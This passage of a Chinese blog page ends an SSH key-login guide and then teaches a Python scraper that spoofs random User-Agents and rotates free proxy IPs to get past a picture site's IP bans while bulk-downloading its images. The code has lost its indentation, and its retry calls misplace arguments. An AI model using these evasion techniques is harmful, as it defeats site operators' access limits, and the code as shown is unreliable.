直接回车生成秘钥对。 可以看到在 ~/ 目录找到一个 .ssh 的目录,有两个文件。 id_rsa 和 id_rsa.pub 其中一个是私钥,一个是公钥。 服务器上利用同样的方法创建,保证有一个 .ssh 目录。

复制秘钥

登录服务器后,在 .ssh 目录新建一个文件,名字叫做 authorized_keys 将刚才自己电脑上生成的公钥内容复制进去,保存。 然后进行权限设置

1
sudo chmod 600 authorized_keys

如此一来,配置就完成了。

验证

断开服务器,重新连接 ssh,发现就可以直接进入了。

Python

QQ图片20161022193315 我又来装逼了!上次教大家写了一个下载www.mzitu.com全站图片的小爬虫练手、不知道大家消化得怎么样? 大家在使用的时候会发现,跑着跑着 就断掉了!报错了啊!丢失连接之类的。幸幸苦苦的抓了半天又得从头来,心累啊! 这就是网站的反爬虫在起作用了,一个 IP 访问次数过于频繁就先将这个 IP 加入黑名单,过一会儿再放出来。虽然不影响正常使用但是对于爬虫来说很致命啊!因为爬虫会报错退出啊!然后我们又得重来,那么多妹子得重来多少次啊!(而且小爬虫不会识别哪些是爬取过的页面,哪些是没爬去的内容,会从头再来啊!很伤人啊!关于这一块儿我下一篇博文来教大家怎么办,这一篇我们还是先集中精力应付反爬虫吧! 关于反爬虫的定义:建议大家去看看这个 blog: 点我 一般来说我们会遇到网站反爬虫策略下面几点:

  1. 限制 IP 访问频率,超过频率就断开连接。(这种方法解决办法就是,降低爬虫的速度在每个请求前面加上 time.sleep;或者不停的更换代理 IP,这样就绕过反爬虫机制啦!)
  2. 后台对访问进行统计,如果单个 userAgent 访问超过阈值,予以封锁。(效果出奇的棒!不过误伤也超级大,一般站点不会使用,不过我们也考虑进去
  3. 还有针对于 cookies 的 (这个解决办法更简单,一般网站不会用)

我们今天就来针对 1、2 两点来写个下载模块、别害怕真的很简单。 首先,这次我们需要用到 Python 中的 re 模块来提取内容,很简单的用法,但是也需要各位了解一下:点我查看正则表达式基本教程 首先照常我们需要下面这些模块: requests re(Python 的正则表达式模块) random(一个随机选择的模块) 都是上一篇文章装过的哦!re 和 random 是 Python 自带的模块,不需要安装ヾ§  ̄ ▽)ゞ 2333333 首先按照惯例我们导入模块:

1
2
3
import requests
import re
import random

我们的思路是先找一个发布代理 IP 的网站(百度一下很多的!)从这个网站爬取出代理 IP 用来访问网页;当本地 IP 失效时,开始使用代理 IP,代理 IP 失败六次后取消代理 IP。下面我们开整ヽ(●-`Д´-)ノ 首先我们写一个基本的请求网页并返回 response 的函数:

1
2
3
4
5
6
7
8
9
import requests
import re
import random


class download:

def get(self, url):
return requests.get(url)

哈哈 简单吧! 这只是基本的,上面说过啦,很多网站都都会拒绝非浏览器的请求的、怎么区分的呢?就是你发起的请求是否包含正常的 User-Agent 这玩意儿长啥样儿?就下面这样(如果不一样 请按一下 F5) QQ截图20161029205637 requests的请求的 User-Agent 大概是这样 python-requests/2.3.0 CPython/2.6.6 Windows/7 这个不是正常的 User-Agent、所以我们得自己造一个来欺骗服务器(requests 又一个 headers 参数能帮助我们伪装成浏览器哦!不知道的小哥儿 一定是没有看官方文档!这样很不好诶!o(一︿一+)o),让他以为我们是真的浏览器。 上面讲过有的网站会限制相同的 User-Agent 的访问频率,那我们就给他随机来一个 User-Agent 好了!去百度一下 User-Agent,我找到了下面这些:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/22.0.1207.1 Safari/537.1",
"Mozilla/5.0 (X11; CrOS i686 2268.111.0) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.57 Safari/536.11",
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.6 (KHTML, like Gecko) Chrome/20.0.1092.0 Safari/536.6",
"Mozilla/5.0 (Windows NT 6.2) AppleWebKit/536.6 (KHTML, like Gecko) Chrome/20.0.1090.0 Safari/536.6",
"Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/19.77.34.5 Safari/537.1",
"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.9 Safari/536.5",
"Mozilla/5.0 (Windows NT 6.0) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.36 Safari/536.5",
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1063.0 Safari/536.3",
"Mozilla/5.0 (Windows NT 5.1) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1063.0 Safari/536.3",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_0) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1063.0 Safari/536.3",
"Mozilla/5.0 (Windows NT 6.2) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1062.0 Safari/536.3",
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1062.0 Safari/536.3",
"Mozilla/5.0 (Windows NT 6.2) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1061.1 Safari/536.3",
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1061.1 Safari/536.3",
"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1061.1 Safari/536.3",
"Mozilla/5.0 (Windows NT 6.2) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1061.0 Safari/536.3",
"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/535.24 (KHTML, like Gecko) Chrome/19.0.1055.1 Safari/535.24",
"Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/535.24 (KHTML, like Gecko) Chrome/19.0.1055.1 Safari/535.24"

下面我们来改改上面的代码成这样:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import requests
import re
import random


class download:

def __init__(self):
self.user_agent_list = [
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/22.0.1207.1 Safari/537.1",
"Mozilla/5.0 (X11; CrOS i686 2268.111.0) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.57 Safari/536.11",
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.6 (KHTML, like Gecko) Chrome/20.0.1092.0 Safari/536.6",
"Mozilla/5.0 (Windows NT 6.2) AppleWebKit/536.6 (KHTML, like Gecko) Chrome/20.0.1090.0 Safari/536.6",
"Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/19.77.34.5 Safari/537.1",
"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.9 Safari/536.5",
"Mozilla/5.0 (Windows NT 6.0) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.36 Safari/536.5",
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1063.0 Safari/536.3",
"Mozilla/5.0 (Windows NT 5.1) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1063.0 Safari/536.3",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_0) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1063.0 Safari/536.3",
"Mozilla/5.0 (Windows NT 6.2) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1062.0 Safari/536.3",
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1062.0 Safari/536.3",
"Mozilla/5.0 (Windows NT 6.2) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1061.1 Safari/536.3",
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1061.1 Safari/536.3",
"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1061.1 Safari/536.3",
"Mozilla/5.0 (Windows NT 6.2) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1061.0 Safari/536.3",
"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/535.24 (KHTML, like Gecko) Chrome/19.0.1055.1 Safari/535.24",
"Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/535.24 (KHTML, like Gecko) Chrome/19.0.1055.1 Safari/535.24"
]

def get(self, url):
UA = random.choice(self.user_agent_list) ##从self.user_agent_list中随机取出一个字符串(聪明的小哥儿一定发现了这是完整的User-Agent中:后面的一半段)
headers = {'User-Agent': UA} ##构造成一个完整的User-AgentUA代表的是上面随机取出来的字符串哦)
response = requests.get(url, headers=headers) ##这样服务器就会以为我们是真的浏览器了
return response

各位可以自己实例化测试一下,headers 会不会变哦 ε=ε=ε=(~ ̄ ▽  ̄)~ 好啦下面我们继续还有一个点没有处理:那就是限制 IP 频率的反爬虫。 首先是需要获取代理 IP 的网站,我找到了这个站点 http://haoip.cc/tiqu.htm(这儿本来我是准备教大家自己维护一个 IP 代理池的,不过有点麻烦啊!还好发现这个代理站,还是这么好心的站长。我就可以光明正大的偷懒啦!ヾ(≧O≦)〃嗷~) 我们先把这写 IP 爬取下来吧!本来想让大家自己写,不过有用到正则表达式的,虽然简单,不过有些小哥儿(妹儿)怕是不会使。我也写出来啦.

1
2
3
4
5
6
7
8
iplist = [] ##初始化一个list用来存放我们获取到的IP
html = requests.get("http://haoip.cc/tiqu.htm")##不解释咯
iplistn = re.findall(r'r/>(.*?)<b', html.text, re.S) ##表示从html.text中获取所有r/><b中的内容,re.S的意思是包括匹配包括换行符,findall返回的是个list哦!
for ip in iplistn:
i = re.sub('\n', '', ip)##re.sub 是re模块替换的方法,这儿表示将\n替换为空
iplist.append(i.strip()) ##添加到我们上面初始化的list里面, i.strip()的意思是去掉字符串的空格哦!!(这都不知道的小哥儿基础不牢啊)
print(i.strip())
print(iplist)

我们来打印一下看看 QQ截图20161029235128 下面[———————]中的内容就我们添加进 iplist 这个初始化的 list 中的内容哦! 完美!!好啦现在我们把这段代码加到之前写的代码里面去;并判断是否使用了代理:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
import requests
import re
import random


class download:

def __init__(self):

self.iplist = [] ##初始化一个list用来存放我们获取到的IP
html = requests.get("http://haoip.cc/tiqu.htm") ##不解释咯
iplistn = re.findall(r'r/>(.*?)<b', html.text, re.S) ##表示从html.text中获取所有r/><b中的内容,re.S的意思是包括匹配包括换行符,findall返回的是个list哦!
for ip in iplistn:
i = re.sub('\n', '', ip) ##re.sub 是re模块替换的方法,这儿表示将\n替换为空
self.iplist.append(i.strip()) ##添加到我们上面初始化的list里面

self.user_agent_list = [
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/22.0.1207.1 Safari/537.1",
"Mozilla/5.0 (X11; CrOS i686 2268.111.0) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.57 Safari/536.11",
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.6 (KHTML, like Gecko) Chrome/20.0.1092.0 Safari/536.6",
"Mozilla/5.0 (Windows NT 6.2) AppleWebKit/536.6 (KHTML, like Gecko) Chrome/20.0.1090.0 Safari/536.6",
"Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/19.77.34.5 Safari/537.1",
"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.9 Safari/536.5",
"Mozilla/5.0 (Windows NT 6.0) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.36 Safari/536.5",
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1063.0 Safari/536.3",
"Mozilla/5.0 (Windows NT 5.1) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1063.0 Safari/536.3",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_0) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1063.0 Safari/536.3",
"Mozilla/5.0 (Windows NT 6.2) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1062.0 Safari/536.3",
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1062.0 Safari/536.3",
"Mozilla/5.0 (Windows NT 6.2) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1061.1 Safari/536.3",
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1061.1 Safari/536.3",
"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1061.1 Safari/536.3",
"Mozilla/5.0 (Windows NT 6.2) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1061.0 Safari/536.3",
"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/535.24 (KHTML, like Gecko) Chrome/19.0.1055.1 Safari/535.24",
"Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/535.24 (KHTML, like Gecko) Chrome/19.0.1055.1 Safari/535.24"
]

def get(self, url, proxy=None): ##给函数一个默认参数proxy为空
UA = random.choice(self.user_agent_list) ##从self.user_agent_list中随机取出一个字符串
headers = {'User-Agent': UA} ##构造成一个完整的User-Agent (UA代表的是上面随机取出来的字符串哦)

if proxy == None: ##当代理为空时,不使用代理获取response(别忘了response啥哦!之前说过了!!)
response = requests.get(url, headers=headers)##这样服务器就会以为我们是真的浏览器了
return response ##返回response

else: ##当代理不为空
IP = ''.join(str(random.choice(self.iplist)).strip()) ##将从self.iplist中获取的字符串处理成我们需要的格式(处理了些,什么自己看哦,这是基础呢)
proxy = {'http': IP} ##构造成一个代理
response = requests.get(url, headers=headers, proxies=proxy) ##使用代理获取response
return response
Xz = download() ##实例化
print(Xz.get("mzitu.com").headers) ##打印headers

需要测试的小哥儿(妹儿),可以自行测试哦。 下面我开始判断什么时候需要 !需要使用代理,而且还得规定一下多少次切换成代理爬取,多少次取消代理啊!我们改改代码,成下面这样:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
import requests
import re
import random
import time


class download:

def __init__(self):

self.iplist = [] ##初始化一个list用来存放我们获取到的IP
html = requests.get("http://haoip.cc/tiqu.htm") ##不解释咯
iplistn = re.findall(r'r/>(.*?)<b', html.text, re.S) ##表示从html.text中获取所有r/><b中的内容,re.S的意思是包括匹配包括换行符,findall返回的是个list哦!
for ip in iplistn:
i = re.sub('\n', '', ip) ##re.sub 是re模块替换的方法,这儿表示将\n替换为空
self.iplist.append(i.strip()) ##添加到我们上面初始化的list里面

self.user_agent_list = [
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/22.0.1207.1 Safari/537.1",
"Mozilla/5.0 (X11; CrOS i686 2268.111.0) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.57 Safari/536.11",
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.6 (KHTML, like Gecko) Chrome/20.0.1092.0 Safari/536.6",
"Mozilla/5.0 (Windows NT 6.2) AppleWebKit/536.6 (KHTML, like Gecko) Chrome/20.0.1090.0 Safari/536.6",
"Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/19.77.34.5 Safari/537.1",
"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.9 Safari/536.5",
"Mozilla/5.0 (Windows NT 6.0) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.36 Safari/536.5",
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1063.0 Safari/536.3",
"Mozilla/5.0 (Windows NT 5.1) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1063.0 Safari/536.3",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_0) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1063.0 Safari/536.3",
"Mozilla/5.0 (Windows NT 6.2) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1062.0 Safari/536.3",
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1062.0 Safari/536.3",
"Mozilla/5.0 (Windows NT 6.2) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1061.1 Safari/536.3",
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1061.1 Safari/536.3",
"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1061.1 Safari/536.3",
"Mozilla/5.0 (Windows NT 6.2) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1061.0 Safari/536.3",
"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/535.24 (KHTML, like Gecko) Chrome/19.0.1055.1 Safari/535.24",
"Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/535.24 (KHTML, like Gecko) Chrome/19.0.1055.1 Safari/535.24"
]

def get(self, url, timeout, proxy=None, num_retries=6): ##给函数一个默认参数proxy为空
UA = random.choice(self.user_agent_list) ##从self.user_agent_list中随机取出一个字符串
headers = {'User-Agent': UA} ##构造成一个完整的User-Agent (UA代表的是上面随机取出来的字符串哦)

if proxy == None: ##当代理为空时,不使用代理获取response(别忘了response啥哦!之前说过了!!)
try:
return requests.get(url, headers=headers, timeout=timeout)##这样服务器就会以为我们是真的浏览器了
except:##如过上面的代码执行报错则执行下面的代码
if num_retries > 0: ##num_retries是我们限定的重试次数
time.sleep(10) ##延迟十秒
print(u'获取网页出错,10S后将获取倒数第:', num_retries, u'次')
return self.get(url, timeout, num_retries-1) ##调用自身 并将次数减1
else:
print(u'开始使用代理')
time.sleep(10)
IP = ''.join(str(random.choice(self.iplist)).strip()) ##下面有解释哦
proxy = {'http': IP}
return self.get(url, timeout, proxy,) ##代理不为空的时候

else: ##当代理不为空
IP = ''.join(str(random.choice(self.iplist)).strip()) ##将从self.iplist中获取的字符串处理成我们需要的格式(处理了些什么自己看哦,这是基础呢)
proxy = {'http': IP} ##构造成一个代理
return requests.get(url, headers=headers, proxies=proxy, timeout = timeout) ##使用代理获取response
Xz = download() ##实例化
print(Xz.get("mzitu.com", 3)) ##打印headers

上面代码添加了一个 timeout (防止超时)、一个 num_retries=6(限制次数,6 次过后使用代理)。 下面我们让使用代理失败 6 次后,取消代理,直接上代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
import requests
import re
import random
import time


class download:

def __init__(self):

self.iplist = [] ##初始化一个list用来存放我们获取到的IP
html = requests.get("http://haoip.cc/tiqu.htm") ##不解释咯
iplistn = re.findall(r'r/>(.*?)<b', html.text, re.S) ##表示从html.text中获取所有r/><b中的内容,re.S的意思是包括匹配包括换行符,findall返回的是个list哦!
for ip in iplistn:
i = re.sub('\n', '', ip) ##re.sub 是re模块替换的方法,这儿表示将\n替换为空
self.iplist.append(i.strip()) ##添加到我们上面初始化的list里面

self.user_agent_list = [
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/22.0.1207.1 Safari/537.1",
"Mozilla/5.0 (X11; CrOS i686 2268.111.0) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.57 Safari/536.11",
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.6 (KHTML, like Gecko) Chrome/20.0.1092.0 Safari/536.6",
"Mozilla/5.0 (Windows NT 6.2) AppleWebKit/536.6 (KHTML, like Gecko) Chrome/20.0.1090.0 Safari/536.6",
"Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/19.77.34.5 Safari/537.1",
"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.9 Safari/536.5",
"Mozilla/5.0 (Windows NT 6.0) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.36 Safari/536.5",
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1063.0 Safari/536.3",
"Mozilla/5.0 (Windows NT 5.1) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1063.0 Safari/536.3",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_0) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1063.0 Safari/536.3",
"Mozilla/5.0 (Windows NT 6.2) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1062.0 Safari/536.3",
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1062.0 Safari/536.3",
"Mozilla/5.0 (Windows NT 6.2) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1061.1 Safari/536.3",
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1061.1 Safari/536.3",
"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1061.1 Safari/536.3",
"Mozilla/5.0 (Windows NT 6.2) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1061.0 Safari/536.3",
"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/535.24 (KHTML, like Gecko) Chrome/19.0.1055.1 Safari/535.24",
"Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/535.24 (KHTML, like Gecko) Chrome/19.0.1055.1 Safari/535.24"
]

def get(self, url, timeout, proxy=None, num_retries=6): ##给函数一个默认参数proxy为空
print(u'开始获取:', url)
UA = random.choice(self.user_agent_list) ##从self.user_agent_list中随机取出一个字符串
headers = {'User-Agent': UA} ##构造成一个完整的User-Agent (UA代表的是上面随机取出来的字符串哦)

if proxy == None: ##当代理为空时,不使用代理获取response(别忘了response啥哦!之前说过了!!)
try:
return requests.get(url, headers=headers, timeout=timeout)##这样服务器就会以为我们是真的浏览器了
except:##如过上面的代码执行报错则执行下面的代码

if num_retries > 0: ##num_retries是我们限定的重试次数
time.sleep(10) ##延迟十秒
print(u'获取网页出错,10S后将获取倒数第:', num_retries, u'次')
return self.get(url, timeout, num_retries-1) ##调用自身 并将次数减1
else:
print(u'开始使用代理')
time.sleep(10)
IP = ''.join(str(random.choice(self.iplist)).strip()) ##下面有解释哦
proxy = {'http': IP}
return self.get(url, timeout, proxy,) ##代理不为空的时候

else: ##当代理不为空
try:
IP = ''.join(str(random.choice(self.iplist)).strip()) ##将从self.iplist中获取的字符串处理成我们需要的格式(处理了些什么自己看哦,这是基础呢)
proxy = {'http': IP} ##构造成一个代理
return requests.get(url, headers=headers, proxies=proxy, timeout=timeout) ##使用代理获取response
except:

if num_retries > 0:
time.sleep(10)
IP = ''.join(str(random.choice(self.iplist)).strip())
proxy = {'http': IP}
print(u'正在更换代理,10S后将重新获取倒数第', num_retries, u'次')
print(u'当前代理是:', proxy)
return self.get(url, timeout, proxy, num_retries - 1)
else:
print(u'代理也不好使了!取消代理')
return self.get(url, 3)

QQ图片20161021224219 收工一个较为健壮的下载模块搞定(当然一个健壮的模块还应该有其它的内容,比如判断地址是否是 robots.txt 文件禁止获取的;错误状态判断是否是服务器出错,限制爬虫深度防止掉入爬虫陷进之类的····) 不过我怕太多大家消化不了,而且我们一般遇到的网站基本不会碰到爬虫陷阱(有也不怕啊,反正规模不大,自己也就注意到了。) 下面我们来把这个下载模块使用到我们上一篇博文的爬出红里面去! 用法很简单!ヾ(´▽‘)ノ将这个 py 文件放在和上一篇博文爬虫相同的文件夹里面;并新建一个init.py 的文件。像这样: 在爬虫里面导入下载模块即可,class 继承一下下载模块;然后替换掉上一篇爬虫里面的全部 requests.get,为 download.get 即可!还必须加上 timeout 参数哦!废话不多说直接上代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
from bs4 import BeautifulSoup
import os
from Download import download

class mzitu(download):

def all_url(self, url):
html = download.get(self, url, 3) ##这儿替换了,并加上timeout参数
all_a = BeautifulSoup(html.text, 'lxml').find('div', class_='all').find_all('a')
for a in all_a:
title = a.get_text()
print(u'开始保存:', title)
path = str(title).replace("?", '_')
self.mkdir(path)
os.chdir("D:\mzitu\\"+path)
href = a['href']
self.html(href)

def html(self, href):
html = download.get(self, href, 3)
max_span = BeautifulSoup(html.text, 'lxml').find_all('span')[10].get_text()
for page in range(1, int(max_span) + 1):
page_url = href + '/' + str(page)
self.img(page_url)

def img(self, page_url):
img_html = download.get(self, page_url, 3) ##这儿替换了
img_url = BeautifulSoup(img_html.text, 'lxml').find('div', class_='main-image').find('img')['src']
self.save(img_url)

def save(self, img_url):
name = img_url[-9:-4]
print(u'开始保存:', img_url)
img = download.get(self, img_url, 3) ##这儿替换了,并加上timeout参数
f = open(name + '.jpg', 'ab')
f.write(img.content)
f.close()

def mkdir(self, path): ##这个函数创建文件夹
path = path.strip()
isExists = os.path.exists(os.path.join("D:\mzitu", path))
if not isExists:
print(u'建了一个名字叫做', path, u'的文件夹!')
os.makedirs(os.path.join("D:\mzitu", path))
return True
else:
print(u'名字叫做', path, u'的文件夹已经存在了!')
return False

Mzitu = mzitu() ##实例化
Mzitu.all_url('http://www.mzitu.com/all') ##给函数all_url传入参数 你可以当作启动爬虫(就是入口)

好了!搞完收工!大家可以看一下和上一次我们写的爬虫有哪些变化就知道我们做了什么啦! 2016/11/4 更新:今天做教程的时候发现我忽略了一个问题,上面的写法,属于子类继承父类,这种写法 子类没法用init;所以我改了一下写法,(其余都没变,不用担心。)直接贴代码了: 首先是下载模块(Download.py):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
import requests
import re
import random
import time


class download():

def __init__(self):

self.iplist = [] ##初始化一个list用来存放我们获取到的IP
html = requests.get("http://haoip.cc/tiqu.htm") ##不解释咯
iplistn = re.findall(r'r/>(.*?)<b', html.text, re.S) ##表示从html.text中获取所有r/><b中的内容,re.S的意思是包括匹配包括换行符,findall返回的是个list哦!
for ip in iplistn:
i = re.sub('\n', '', ip) ##re.sub 是re模块替换的方法,这儿表示将\n替换为空
self.iplist.append(i.strip()) ##添加到我们上面初始化的list里面

self.user_agent_list = [
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/22.0.1207.1 Safari/537.1",
"Mozilla/5.0 (X11; CrOS i686 2268.111.0) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.57 Safari/536.11",
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.6 (KHTML, like Gecko) Chrome/20.0.1092.0 Safari/536.6",
"Mozilla/5.0 (Windows NT 6.2) AppleWebKit/536.6 (KHTML, like Gecko) Chrome/20.0.1090.0 Safari/536.6",
"Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/19.77.34.5 Safari/537.1",
"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.9 Safari/536.5",
"Mozilla/5.0 (Windows NT 6.0) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.36 Safari/536.5",
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1063.0 Safari/536.3",
"Mozilla/5.0 (Windows NT 5.1) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1063.0 Safari/536.3",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_0) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1063.0 Safari/536.3",
"Mozilla/5.0 (Windows NT 6.2) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1062.0 Safari/536.3",
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1062.0 Safari/536.3",
